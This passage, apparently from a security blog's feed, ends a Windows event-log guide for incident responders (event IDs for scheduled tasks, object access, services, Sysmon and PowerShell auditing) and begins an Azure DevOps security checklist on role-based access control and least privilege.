<p>Network share event IDs</p>
<table>
  <thead>
      <tr>
          <th>Event ID</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>5140    </td>
          <td>A network share object was accessed. The event entry provides the account name and source address of the account that accessed the object. Note that this entry will show that the share was accessed but not what files in the share were accessed. A large number of these events from a single account may be an indicator of an account being used to harvest or map data on the network.</td>
      </tr>
      <tr>
          <td>5142    </td>
          <td>A network share object was added.</td>
      </tr>
      <tr>
          <td>5143    </td>
          <td>A network share object was modified.</td>
      </tr>
      <tr>
          <td>5144    </td>
          <td>A network share object was deleted.</td>
      </tr>
      <tr>
          <td>5145    </td>
          <td>A network share object was checked to see whether client can be granted desired access. Failure is only logged if the permission is denied at the file share level. If permission is denied at the NTFS level then no entry is recorded.</td>
      </tr>
  </tbody>
</table>
<p>If detailed file share auditing is enabled in the Group Policy Management Console by navigating to Computer Configuration -&gt; Policies -&gt; Windows Settings -&gt; Security Settings -&gt; Advanced Audit Policy Configuration -&gt; Audit Policies -&gt; Object Access -&gt; Audit Detailed File Share, then each file within each share that is accessed will generate an Event ID 5145 log entry. As you can imagine, this level of logging may generate a large volume of results.</p>
<p>The system initiating the access may also show evidence of the connections in the registry key <code>NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2</code>.</p>
<h2 id="scheduled-task-logging">Scheduled Task Logging</h2>
<p>If history is enabled in the Task Scheduler application, through Event Viewer, or with the wevtutil command, then the <code>%SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TaskScheduler%4Operational</code> log will record activity relating to scheduled tasks on the local system as follows:</p>
<p>Scheduled task activity event IDs</p>
<table>
  <thead>
      <tr>
          <th>Event ID</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>106    </td>
          <td>Scheduled Task Created. The entry shows the user account that scheduled the task and the name the user assigned to the task. The Logged date and time show when the task was scheduled. Look for the associated Event ID 200 and 201 for additional information.</td>
      </tr>
      <tr>
          <td>140    </td>
          <td>Scheduled Task Updated. The entry shows the user account that updated the task and the name of the task. The Logged date and time show when the task was updated. Look for the associated Event ID 200 and 201 for additional information.</td>
      </tr>
      <tr>
          <td>141    </td>
          <td>Scheduled Task Deleted. The entry shows the user account that deleted the task and the name of the task.</td>
      </tr>
      <tr>
          <td>200    </td>
          <td>Scheduled Task Executed. Shows the task name and the full path to the executable on disk that was run (listed as the Action). Correlate this with the associated Event ID 106 to determine the user account that scheduled the task.</td>
      </tr>
      <tr>
          <td>201    </td>
          <td>Scheduled Task Completed. Shows the task name and the full path to the executable on disk that was run (listed as the Action). Correlate this with the associated Event ID 106 to determine the user account that scheduled the task.</td>
      </tr>
  </tbody>
</table>
<p>Also, see the Object Access Auditing section for additional Event IDs that may be recorded in relation to scheduled tasks.</p>
<h2 id="object-access-auditing">Object Access Auditing</h2>
<p>Object access auditing is not enabled by default but should be enabled on sensitive systems. To do so, simply set use the Local Security Policy to set Security Settings -&gt; Local Policies -&gt; Audit Policy -&gt; Audit object access to Enabled for Success and Failure. When object access auditing is enabled, some activities are logged by default and others need to be explicitly configured. The reason for this is that object access occurs constantly on a system, so this log is designed to be more granular to allow objects of importance to receive extra auditing without overwhelming the logs trying to record all object access on the system.</p>
<p>Object access audit events are stored in the Security log. If object access auditing is enabled, scheduled tasks get additional logging. The Event IDs related to scheduled tasks are:</p>
<p>Scheduled task event IDs</p>
<ul>
<li>4698 : A scheduled task was created. The event description contains the user account that created the task in the Subject section. XML details of the scheduled task are also recorded in the event description under the Task Description section and includes the Task Name. Additional tags of interest include the following:
<ul>
<li><code>&lt;Date&gt;</code> shows the time of the logged event and matches the Logged field of the event itself.</li>
<li><code>&lt;Author&gt;</code> shows the user that originally created the task, this does not change if another user later updates the task (see Event ID 4702 for additional information about how to determine whether a scheduled task was updated).</li>
<li><code>&lt;Description&gt;</code> shows the description entered by the user.</li>
<li><code>&lt;Triggers&gt;</code> provides information on when the task is scheduled to run.</li>
<li><code>&lt;User ID&gt;</code> shows the user context under which the task will run, which may be different than the account used to schedule the task. If <code>&lt;Logon Type&gt;</code> shows Password, then the password for the account listed in <code>&lt;User ID&gt;</code> was entered at the time the task was scheduled, which may indicate an additionally compromised account.</li>
<li><code>&lt;Command&gt;</code> shows the path to the executable that will run. Any arguments specified will be listed in the <code>&lt;Arguments&gt;</code> tag.|</li>
</ul>
</li>
<li>4699 : A scheduled task was deleted. The Subject section of the event description contains the Account Name that deleted the task as well as the Task Name.</li>
<li>4700 : A scheduled task was enabled. See Event ID 4698 for additional details.</li>
<li>4701 : A scheduled task was disabled. See Event ID 4698 for additional details.</li>
<li>4702 : A scheduled task was updated. The user who initiated the update appears in the Subject section of the event description. The details of the task after its modification are listed in the XML in the event description. Compare with previous Event ID 4702 or 4698 entries for this task to determine what changes were made. See Event ID 4698 for additional details.</li>
</ul>
<p>Aside from scheduled tasks, individual file objects are frequently audited for object access. In addition to enabling the option for Success and/or Failure for Audit Object Access as mentioned earlier, to audit access to individual files or folders you also need to explicitly set the auditing rules in the file or folder’s Properties dialog box by selecting the Security tab, clicking Advanced, selecting the Auditing tab, and setting the type of audit and the user account(s) for which auditing should be set. Detailed instructions can be found here: <sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>For a process to use a system object, such as a file, it must obtain a handle to that object. Once auditing is enabled, the event IDs described below can be used to view access to important files and folders by tracking the issuance and use of handles to those objects.</p>
<p>Object handle event IDs:</p>
<ul>
<li>4656: A handle to an object was requested. When a process attempts to gain a handle to an audited object, this event is created. The details of the object to which the handle was requested and the handle ID assigned to the handle are listed in the Object section of the event description. Success or failure of the handle request will be indicated in the Keywords field. The account used to request the handle, as well as that account’s associated Logon ID, is recorded in the Subject section of the event description. The details of the process requesting the handle are listed under the Process Information section of the event description. The Access Request Information shows the type of access requested. Note that obtaining a handle to an object does not mean that all the permissions requested were actually used. Look for additional Event ID 4663 entries with the same Handle ID (which is kept unique between reboots) to determine which permissions were used. You can also try to determine other actions taken by the same user during that session by searching for occurrences of the Logon ID (which is also unique between reboots).</li>
<li>4657: A registry value was modified. The user account and process responsible for opening the handle are listed in the event description. The Object section contains details of the modification, including the Object Name field, which indicates the full path and name of the registry key where the value was modified. The Object Value Name field contains the name of the modified registry key value. Note that this event generates only when a key value is modified, not if the key itself is modified.</li>
<li>4658: The handle to an object was closed. The user account and process responsible for opening the handle are listed in the event description. To determine the object itself, refer to the preceding Event ID 4656 with the same Handle ID.</li>
<li>4660: An object was deleted. The user account and process responsible for opening the handle are listed in the event description. To determine the object itself, refer to the preceding Event ID 4656 with the same Handle ID.</li>
<li>4663: An attempt was made to access an object. This event is logged when a process attempts to interact with an object, rather than just obtain a handle to the object. This can be used to help determine what types of actions may have been taken on an object (for example, read only or modify data). See Event ID 4656 for additional details.</li>
</ul>
<p>Since Windows 8/Server 2012, additional logging can also be enabled in the Group Policy Management Console by navigating to Computer Configuration -&gt; Policies -&gt; Windows Settings -&gt; Security Settings -&gt; Advanced Audit Policy Configuration -&gt; Audit Policies -&gt; Object Access -&gt; Audit Removeable Storage. Once enabled, Windows will create additional Event ID 4663 entries (see above) whenever an account access a file system object that is on removable storage. This can help identify when users are copying data to or from external media.</p>
<h2 id="audit-policy-changes">Audit Policy Changes</h2>
<p>When audit policy changes, it impacts the evidence available to investigators and incident handlers, whether the change was done maliciously by an attacker or legitimately by an administrator. Fortunately, modern Windows systems do a good job of logging these changes when they occur. The Event ID used for this auditing is 4719:</p>
<ul>
<li>4719 – System audit policy was changed. The Audit Policy Change section will list the specific changes that were made to the audit policy. The Subject section of the event description may show the account that made the change, but often (such as when the change is made through Group Policy) this section simply reports the name of the local system. Unfortunately, auditing Directory Services access is one area where Windows is still less than clear. There are a number of third-party tools that provide additional visibility and accountability in modifications to Group Policy Objects.</li>
<li>1102 - Regardless of the settings in the audit policy, if the Security event log is cleared, Event ID 1102 will be recorded as the first entry in the new, blank log. You can tell the name of the user account that cleared the log in the details of the entry. A similar event, with ID 104, is generated in the System log if it is cleared.</li>
</ul>
<h2 id="auditing-windows-services">Auditing Windows Services</h2>
<p>Many attacks rely on Windows services either for executing commands remotely or for maintaining persistence on systems. While most of the events we have mentioned so far have been found in the Security Event Log, Windows records events related to starting and stopping of services in the System Event Log. The following events are often noteworthy:</p>
<ul>
<li>6005 – The event log service was started. This will occur at system boot time, and whenever the system is manually started. Since the event log service is critical for security, it gets is own Event ID.</li>
<li>6006 – The event log service was stopped. While this obviously occurs at system shutdown or restart, its occurrence at other times may be indicative of malicious attempts to avoid logging of activity or to modify the logs.</li>
<li>7034 – A service terminated unexpectedly. The event description will display the name of the services and may display the number of times that this service has crashed.</li>
<li>7036 – A service was stopped or started. While the event log service has its own Event ID, other services are logged under the same Event ID. The event description provides the name of the service, but no details of which user account requested the service to stop is provided. The description will indicate that the service entered the running state when it is started or entered the stopped state when it is stopped.</li>
<li>7040- The start type for a service was changed. The event description will display the name of the service that was changed and describe the change that was made.</li>
<li>7045 – A service was installed by the system. The name of the service is found in the Service Name field of the event description, and the full path to the associated executable is found in the Service File Name field. This can be a particularly important event as many tools, such as psexec, create a service on the remote system to execute commands. Many of these tools will create a randomly named service (which stands out in the logs as highly unusual) or will run an executable from locations like the Temp folder. It is worth noting that some legitimate services, like Windows Defender, may also use names that look in part randomized, so it is worth examining any odd entries carefully to determine if they are malicious.</li>
</ul>
<p>If you have enabled Advanced Audit Policy Configuration &gt; System Audit Policies &gt; System &gt; Audit Security System Extension in your GPOs, Windows 10 and Server 2016/2019 systems will also record Event ID 4697 in the Security event log.</p>
<h2 id="wireless-lan-auditing">Wireless LAN Auditing</h2>
<p>Windows maintains an event log dedicated to wireless local area network (WLAN) activity, and with rogue access points being a common attack vector for man-in-the-middle and malware attacks, it may be worth looking at unusual connections on devices with Wi-Fi capability, particularly those allowed to leave your environment. The log is located at <code>%SystemRoot%\System32\winevt\Logs\Microsoft-Windows-WLANAutoConfig%4Operational.evtx</code>. Event IDs of interest are:</p>
<ul>
<li>8001 - WLAN service has successfully connected to a wireless network. The event description provides the Connection Mode indicating if this was an automatic connection based on a configured profile (and the associated Profile Name) or a manual connection. The SSID of the access point, its authentication mechanism, and its encryption mechanism are also recorded.</li>
<li>8002 - WLAN service failed to connect to a wireless network. Once again, the event description will contain the Connection Mode, associated Profile Name, and the SSID along with a Failure Reason field.</li>
</ul>
<h2 id="process-tracking">Process Tracking</h2>
<p>Unlike many Linux shells (such as bash) the Windows cmd.exe shell does not maintain a history of commands run by users. This has created a noticeable gap in the ability of incident handlers to understand the actions that an attacker takes on a compromised host. The rise of “Living of the Land” attacks that do not rely on malware but instead use built-in Windows commands has only made this blind spot more damaging. While in the early days of Windows, auditing process creation was considered far too system intensive, modern Windows systems have greatly increased the efficiency of their auditing facilities, allowing for process tracking to be used to great effect. The addition of the ability to log full command lines in process creation events has gone a long way to remove the blinders from incident handlers and provide a trail which we can follow to uncover the actions taken by an attacker.</p>
<p>While not always required on every system, enabling this feature on key systems is increasingly becoming standard practice in security-conscious environments. This requires setting two separate Group Policy settings. The first is of course Computer Configuration -&gt; Windows Settings -&gt; Security Settings -&gt; Local Policies -&gt; Audit Policy -&gt; Audit process tracking. However, to fully benefit from process tracking you should also enable the ability to capture the command line in those events. This requires a second setting located at Computer Configuration -&gt; Administrative Templates -&gt; System -&gt; Audit Process Creation -&gt; Include command line in process creation events. Keep in mind that some command line arguments may contain sensitive information such as passwords, so secure access to such logs accordingly and make users aware of the change in audit policy. Once enabled, Event ID 4688 in the Security log provides a wealth of information regarding processes that have been run on the system:</p>
<p>4688 - A new process has been created. The event description provides the Process ID and Process Name, Creator Process ID, Creator Process Name, and Process Command Line (if enabled separately, as outlined earlier in this section).</p>
<p>In addition to the details about the process, details about the user account used to launch the process are recorded in the Subject section.</p>
<p>In pre–Windows 10/Server 2016 systems there is only one Subject. However, in Windows 10 and Server 2016/2019, we now receive details about the Creator Subject and the Target Subject.</p>
<p>The Creator Subject (which is the same as the pre–Windows 10/Server 2016 Subject) lists the user context under which the Creator Process was running. The Target Subject lists the user context under which the newly created process is running. In addition to the details of the user context, we get information in the Token Elevation Type field about the user’s administrative privileges that may have been assigned to the process. A Type 1 token indicates a full token, with all privileges available to that user account, such as when the user is the built-in administrator account or User Access Control (UAC) is disabled. Type 2 indicates that a full token was issued by the user specifying to bypass UAC, such as through the Run As Administrator option. A Type 3 token indicates that administrator privileges were removed due to UAC.</p>
<p>In addition the Event ID 4688, activation of process tracking may also result in additional Security log entries from the Windows Filtering Platform related to network connections and listening ports as follows:</p>
<p>Windows Filtering Platform (WFP) event IDs</p>
<table>
  <thead>
      <tr>
          <th>Event ID</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>5031</td>
          <td>The Windows Firewall Service blocked an application from accepting incoming connections on the network.</td>
      </tr>
      <tr>
          <td>5152</td>
          <td>The WFP blocked a packet.</td>
      </tr>
      <tr>
          <td>5154</td>
          <td>The WFP has permitted an application or service to listen on a port for incoming connections.</td>
      </tr>
      <tr>
          <td>5156</td>
          <td>The WFP has allowed a connection.</td>
      </tr>
      <tr>
          <td>5157</td>
          <td>The WFP has blocked a connection.</td>
      </tr>
      <tr>
          <td>5158</td>
          <td>The WFP has permitted a bind to a local port.</td>
      </tr>
      <tr>
          <td>5159</td>
          <td>The WFP has blocked a bind to a local port.</td>
      </tr>
  </tbody>
</table>
<p>The event descriptions of the Windows Filtering Platform events are self explanatory and detailed, including information about the local and remote IPs and port numbers as well as the Process ID and Process Name involved.</p>
<p>As can be seen, the information logged by enabling process tracking auditing can be of immense value, but can also generate a large amount of data. Experiment with your test environment to come up with a balance that can appropriately increase security auditing in your production environment.</p>
<h2 id="additional-program-execution-logging">Additional Program Execution Logging</h2>
<p>If AppLocker is configured in your environment (a step that can help frustrate an adversary and should be considered), dedicated AppLocker event logs will be generated as well. Presented in Event Viewer under Application and Services Logs\Microsoft\Windows\AppLocker, these event logs are stored with the other event logs in <code>C:\Windows\System32\winevt\Logs</code> and have names such as <code>Microsoft-Windows-AppLocker%4EXE</code> and <code>DLL.evtx</code>. There are separate logs covering executables and dynamic-link libraries (DLLs), Microsoft installers (MSI) and scripts, packaged app deployment, and packaged app execution. The event logs generated will vary depending on whether AppLocker is set to audit-only mode or blocking mode.</p>
<p>Remember also that your antivirus or other endpoint detection and response systems may generate useful logs that may record files scanned and/or blocked. For example, Windows Defender maintains an event log located at <code>C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx</code> and <code>Microsoft-Windows-Windows Defender%4WHC.evtx</code> that contains information about potential malware that was detected and suspicious scripts that were run (as reported by the Antimalware Scan Interface [AMSI]). Event IDs of potential interest in this log include:</p>
<p>Windows Defender suspicious event IDs</p>
<table>
  <thead>
      <tr>
          <th>Event ID</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1006</td>
          <td>The antimalware engine found malware or other potentially unwanted software.</td>
      </tr>
      <tr>
          <td>1007</td>
          <td>The antimalware platform performed an action to protect your system from malware or other potentially unwanted software.</td>
      </tr>
      <tr>
          <td>1008</td>
          <td>The antimalware platform attempted to perform an action to protect your system from malware or other potentially unwanted software, but the action failed.</td>
      </tr>
      <tr>
          <td>1013</td>
          <td>The antimalware platform deleted history of malware and other potentially unwanted software.</td>
      </tr>
      <tr>
          <td>1015</td>
          <td>The antimalware platform detected suspicious behavior.</td>
      </tr>
      <tr>
          <td>1116</td>
          <td>The antimalware platform detected malware or other potentially unwanted software.</td>
      </tr>
      <tr>
          <td>1117</td>
          <td>The antimalware platform performed an action to protect your system from malware or other potentially unwanted software.</td>
      </tr>
      <tr>
          <td>1118</td>
          <td>The antimalware platform attempted to perform an action to protect your system from malware or other potentially unwanted software, but the action failed.</td>
      </tr>
      <tr>
          <td>1119</td>
          <td>The antimalware platform encountered a critical error when trying to take action on malware or other potentially unwanted software.</td>
      </tr>
      <tr>
          <td>5001</td>
          <td>Real-time protection is disabled.</td>
      </tr>
      <tr>
          <td>5004</td>
          <td>The real-time protection configuration changed.</td>
      </tr>
      <tr>
          <td>5007</td>
          <td>The antimalware platform configuration changed.</td>
      </tr>
      <tr>
          <td>5010</td>
          <td>Scanning for malware and other potentially unwanted software is disabled.</td>
      </tr>
      <tr>
          <td>5012</td>
          <td>Scanning for viruses is disabled.</td>
      </tr>
  </tbody>
</table>
<p>Windows exploit protection is a feature of Windows 10 that can provide excellent defense against a range of adversary exploitation techniques. This feature can protect both the operating system and individual applications from common attack vectors, blocking the exploitation when it otherwise would have resulted in system compromise. Although some features of exploit protection are enabled by default, many are disabled due to their potential to interfere with legitimate software. When enabled, this feature logs its activities in the <code>C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx</code> and <code>Microsoft-Windows-Security-Mitigations%4UserMode.evtx</code> log files.</p>
<p>Another option to enhance visibility into processes that run on systems in your environment is to implement Sysmon, a free utility by Sysinternals, which is now a part of Microsoft.</p>
<p>When deployed on a system, Sysmon installs as a system service and device driver to generate event logs related to processes, network connections, and modifications to file creation times. It creates a new category of logs that are presented in Event Viewer under Applications and Services Logs\Microsoft\Windows\Sysmon\Operational and is stored in <code>C:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx</code>. An example of useful event IDs generated by Sysmon include:</p>
<p>Event IDs generated by Sysmon</p>
<table>
  <thead>
      <tr>
          <th>Event ID</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>Process creation (includes many details such as process ID, path to executable, hash of executable, command line used to launch, user account used to launch, parent process ID, path and command line for parent executable, and more).</td>
      </tr>
      <tr>
          <td>2</td>
          <td>A process changed a file creation time.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>Network connection.</td>
      </tr>
      <tr>
          <td>4</td>
          <td>Sysmon service state changed.</td>
      </tr>
      <tr>
          <td>5</td>
          <td>Process terminated.</td>
      </tr>
      <tr>
          <td>6</td>
          <td>Driver loaded.</td>
      </tr>
      <tr>
          <td>7</td>
          <td>Image loaded (records when a module is loaded in a specific process).</td>
      </tr>
      <tr>
          <td>8</td>
          <td>CreateRemoteThread (creating a thread in another process).</td>
      </tr>
      <tr>
          <td>9</td>
          <td>RawAccessRead (raw access to drive data using <code>\\.\</code> notation).</td>
      </tr>
      <tr>
          <td>10</td>
          <td>ProcessAccess (opening access to another process’s memory space).</td>
      </tr>
      <tr>
          <td>11</td>
          <td>FileCreate (creating or overwriting a file).</td>
      </tr>
      <tr>
          <td>12</td>
          <td>Registry key or value created or deleted.</td>
      </tr>
      <tr>
          <td>13</td>
          <td>Registry value modification.</td>
      </tr>
      <tr>
          <td>14</td>
          <td>Registry key or value renamed.</td>
      </tr>
      <tr>
          <td>15</td>
          <td>FileCreateStreamHash (creation of an alternate data stream).</td>
      </tr>
      <tr>
          <td>16</td>
          <td>Sysmon configuration change.</td>
      </tr>
      <tr>
          <td>17</td>
          <td>Named pipe created.</td>
      </tr>
      <tr>
          <td>18</td>
          <td>Named pipe connected.</td>
      </tr>
      <tr>
          <td>19</td>
          <td>WMIEventFilter activity detected.</td>
      </tr>
      <tr>
          <td>20</td>
          <td>WMIEventConsumer activity detected.</td>
      </tr>
      <tr>
          <td>21</td>
          <td>WMIEventConsumerToFilter activity detected.</td>
      </tr>
      <tr>
          <td>22</td>
          <td>DNS query event (Windows 8 and later)</td>
      </tr>
      <tr>
          <td>255</td>
          <td>Sysmon error</td>
      </tr>
  </tbody>
</table>
<h2 id="auditing-powershell-use">Auditing PowerShell Use</h2>
<p>Microsoft continues to increase the amount of logs available surrounding PowerShell to help combat its nefarious use. Once again, these logging facilities must be enabled via Group Policy, specifically at Computer Configuration -&gt; Policies -&gt; Administrative Templates -&gt; Windows Components -&gt; Windows PowerShell. There are three basic categories of logging that may be available, depending on the version of Windows in question.</p>
<ul>
<li>Module Logging
<ul>
<li>Logs pipeline execution events;</li>
<li>Logs to event logs.</li>
</ul>
</li>
<li>Script Block Logging
<ul>
<li>Captures de-obfuscated commands sent to PowerShell;</li>
<li>Captures the commands only, not the resulting output;</li>
<li>Logs to event logs.</li>
</ul>
</li>
<li>Transcription
<ul>
<li>Captures PowerShell input and output;</li>
<li>Will not capture output of outside programs that are run, only PowerShell; o Logs to text files in user specified location.</li>
</ul>
</li>
</ul>
<p>Once enabled, these logs can provide a wealth of information concerning the use of PowerShell on your systems. If you routinely run lots of PowerShell scripts, this can produce a large volume of data, so be sure to test and tune the audit facilities to strike a balance between visibility and load before deploying such changes in production.</p>
<p>PowerShell event log entries appear in different event logs. Inside of <code>%SystemRoot%\System32\winevt\ Logs\Microsoft-Windows-PowerShell%4Operational.evtx</code> you will find two events of particular note:</p>
<table>
  <thead>
      <tr>
          <th>Event ID</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>4103</td>
          <td>Shows pipeline execution from the module logging facility. Includes the user context used to run the commands. Hostname field will contain Console if executed locally or will show if run from a remote system.</td>
      </tr>
      <tr>
          <td>4104</td>
          <td>Shows script block logging entries. Captures the commands sent to PowerShell, but not the output. Logs full details of each block only on first use to conserve space. Will show as a Warning level event if Microsoft deems the activity Suspicious.</td>
      </tr>
  </tbody>
</table>
<p>Additional entries can be found in the <code>%SystemRoot%\System32\winevt\Logs\Windows PowerShell.evtx</code> log:</p>
<table>
  <thead>
      <tr>
          <th>Event ID</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>400</td>
          <td>Indicates the start of command execution or session. Hostname field shows if (local) Console or the remote session that caused the execution.</td>
      </tr>
      <tr>
          <td>800</td>
          <td>Shows pipeline execution details. UserID shows account used. Hostname field shows if (local) Console or the remote session that caused the execution. Since many malicious scripts encode options with Base64, check the HostApplication field for options encoded with the <code>-enc</code> or <code>-EncodedCommand</code> parameter.</td>
      </tr>
  </tbody>
</table>
<p>Remember that PowerShell Remoting requires authenticated access, so look for the associated Account Logon and Logon events as well.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768">https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776">https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Table includes details from: <a href="www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624">www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624</a> and
<a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc787567(v=ws.10)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc787567(v=ws.10)</a>.&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625">https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/apply-a-basic-audit-policyon-a-file-or-folder">https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/apply-a-basic-audit-policyon-a-file-or-folder</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content></item><item><title>Azure DevOps Security CheckList</title><link>https://blzr.sbs/posts/azure-dev-ops-security-check-list/</link><pubDate>Fri, 10 May 2024 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/azure-dev-ops-security-check-list/</guid><description>Secure your Azure DevOps with our comprehensive checklist. Protect your cloud environment today!</description><content type="html"><![CDATA[<p>This Azure DevOps Security Guide, provides acomprehensive framework for ensuring a secure and compliant Azure DevOps environment.</p>
<p>The guide covers various aspects of security, including access control, network security,code security, and continuous monitoring.</p>
<p>Key points addressed in this guide include:</p>
<ul>
<li>Managing users and groups using Role-Based Access Control (RBAC) to define and enforce granular permissions.</li>
<li>Applying the principle of least privilege for granting permissions to minimize potential risks.</li>
<li>Regularly reviewing user accounts and disabling unnecessary accounts to reduce the attack surface.</li>
<li>Implementing strong authentication with Multi-Factor Authentication (MFA) to protect against unauthorized access.</li>
<li>Integrating centralized identity management using Single Sign-On (SSO) and Azure Active Directory.</li>
<li>Reducing authentication risks using risk-based policies and Azure AD Identity Protection integration.</li>
<li>Restricting access with IP-based network security groups and private networks.</li>
<li>Establishing secure communication with on-premises systems using VPN or ExpressRoute.</li>
<li>Protecting and routing network traffic with Azure DDoS Protection and Azure Firewall.</li>
<li>Applying code review processes and utilizing static and dynamic code analysis toolsfor vulnerability detection.</li>
<li>Establishing secure coding standards and ensuring dependency security.</li>
<li>Incorporating security controls and automated tests in Build and Release pipelines.</li>
<li>Securing agents with trusted agent pools and implementing Git branch policies and pull request reviews for code security.</li>
<li>Storing credentials, certificates, and access keys securely in Azure Key Vault and configuring access for Azure DevOps pipelines.</li>
<li>Monitoring changes using Azure DevOps audit logs for security, compliance, and operational awareness.</li>
<li>Continuously tracking and improving security posture with Azure Policy and Azure Security Center.</li>
<li>Conducting internal and external security audits and penetration tests for evaluationand continuous improvement.</li>
<li>Regularly review and update the security configurations of your Azure DevOps services, resources, and tools.</li>
<li>Implement secure baselines for your Azure resources and enforce them consistently across your environment.</li>
<li>Use Azure Policy to define and enforce security configurations across your Azure resources.</li>
<li>Continuously monitor configuration changes and assess their impact on your security posture.</li>
<li>Implement a robust backup and recovery strategy for your critical data, including source code, artifacts, and configuration data.</li>
<li>Use Azure Backup and Azure Site Recovery to protect your data and applications.</li>
<li>Regularly test your data recovery processes to ensure they are effective and up to date.</li>
<li>Establish a disaster recovery plan to minimize downtime and data loss in case of a security breach or system failure.</li>
<li>Maintain an up-to-date inventory of all Azure DevOps resources, including repositories, pipelines, environments, and tools.</li>
<li>Use Azure Resource Manager (ARM) templates to manage your Azure resources in a consistent and automated manner.</li>
<li>Implement tagging strategies to categorize your Azure resources based on project, team, or other relevant attributes.</li>
<li>Continuously monitor your inventory and resources for any unauthorized changes or access.</li>
</ul>
<p>This summary highlights the main topics covered in the guide, providing a holistic approachto Azure DevOps security, aimed at fostering a culture of continuous improvement and collaboration between developers, security teams, and other stakeholders. Implementing these best practices will contribute to the ongoing success of your DevOps projects and helpprotect your organization&rsquo;s critical assets.</p>
<h2 id="access-control">Access Control</h2>
<h3 id="manage-users-and-groups-using-role-based-access-control-rbac">Manage users and groups using Role-Based Access Control (RBAC)</h3>
<p>Role-Based Access Control (RBAC) is a method of managing user access and permissions based on their roles within an organization. It helps maintain security by ensuring that users only have access to the resources and operations relevant to their job responsibilities. In Azure DevOps, you can use RBAC to assign appropriate permissions to users and groups. Here&rsquo;s how you can manage users and groups using RBAC in Azure DevOps:</p>
<ol>
<li><strong>Define roles</strong>: Start by identifying the distinct roles within your organization, such as developers, testers, project managers, and administrators. Clearly define the responsibilities and required access levels for each role.</li>
<li><strong>Create groups</strong>: In Azure DevOps, create groups that correspond to the defined roles. For example, you might create groups like &ldquo;Developers,&rdquo; &ldquo;Testers,&rdquo; or &ldquo;Project Managers.&rdquo; Assigning users to these groups will help manage permissions more efficiently.</li>
<li><strong>Assign permissions</strong>: Assign appropriate permissions to each group based on their role. Azure DevOps has built-in roles with predefined sets of permissions, such as &ldquo;Reader,&rdquo; &ldquo;Contributor,&rdquo; and &ldquo;Administrator.&rdquo; You can also create custom roles with specific permissions tailored to your organization&rsquo;s needs.</li>
<li><strong>Add users to groups</strong>: Add users to the appropriate groups based on their roles within the organization. By doing this, users will inherit the permissions assigned to the group they belong to.</li>
<li><strong>Regularly review and update</strong>: Periodically review the roles, groups, and permissions to ensure they still align with your organization&rsquo;s requirements. Update roles and permissions as needed, and add or remove users from groups when their roles within the organization change.</li>
</ol>
<p>By implementing RBAC in Azure DevOps, you can effectively manage user access and ensure that users only have the necessary permissions for their job responsibilities, thus improving security and reducing potential risks.</p>
<h3 id="apply-the-principle-of-least-privilege-for-granting-permissions">Apply the principle of least privilege for granting permissions</h3>
<p>The principle of least privilege (PoLP) is a security best practice that involves granting users only the minimum permissions they need to perform their job duties. By applying this principle, you can reduce the risk of unauthorized access, data breaches, and other security incidents. Here&rsquo;s how you can apply the principle of least privilege for granting permissions in Azure DevOps:</p>
<ol>
<li><strong>Analyze job requirements</strong>: Begin by analyzing the job responsibilities of each role within your organization. Determine the specific resources and operations each role requires access to in order to perform their tasks effectively.</li>
<li><strong>Grant minimal permissions</strong>: Assign permissions to users or groups based on their roles, ensuring they have access only to the resources and operations necessary for their job. Avoid granting excessive permissions that go beyond what is required for a given role.</li>
<li><strong>Use built-in roles</strong>: Azure DevOps provides built-in roles such as &ldquo;Reader,&rdquo; &ldquo;Contributor,&rdquo; and &ldquo;Administrator,&rdquo; which have predefined sets of permissions. Utilize these built-in roles whenever possible, as they are designed to follow the principle of least privilege.</li>
<li><strong>Create custom roles</strong>: If the built-in roles do not meet your organization&rsquo;s specific requirements, create custom roles with the minimal set of permissions needed for each role. Be cautious when assigning permissions to custom roles to avoid inadvertently granting excessive access.</li>
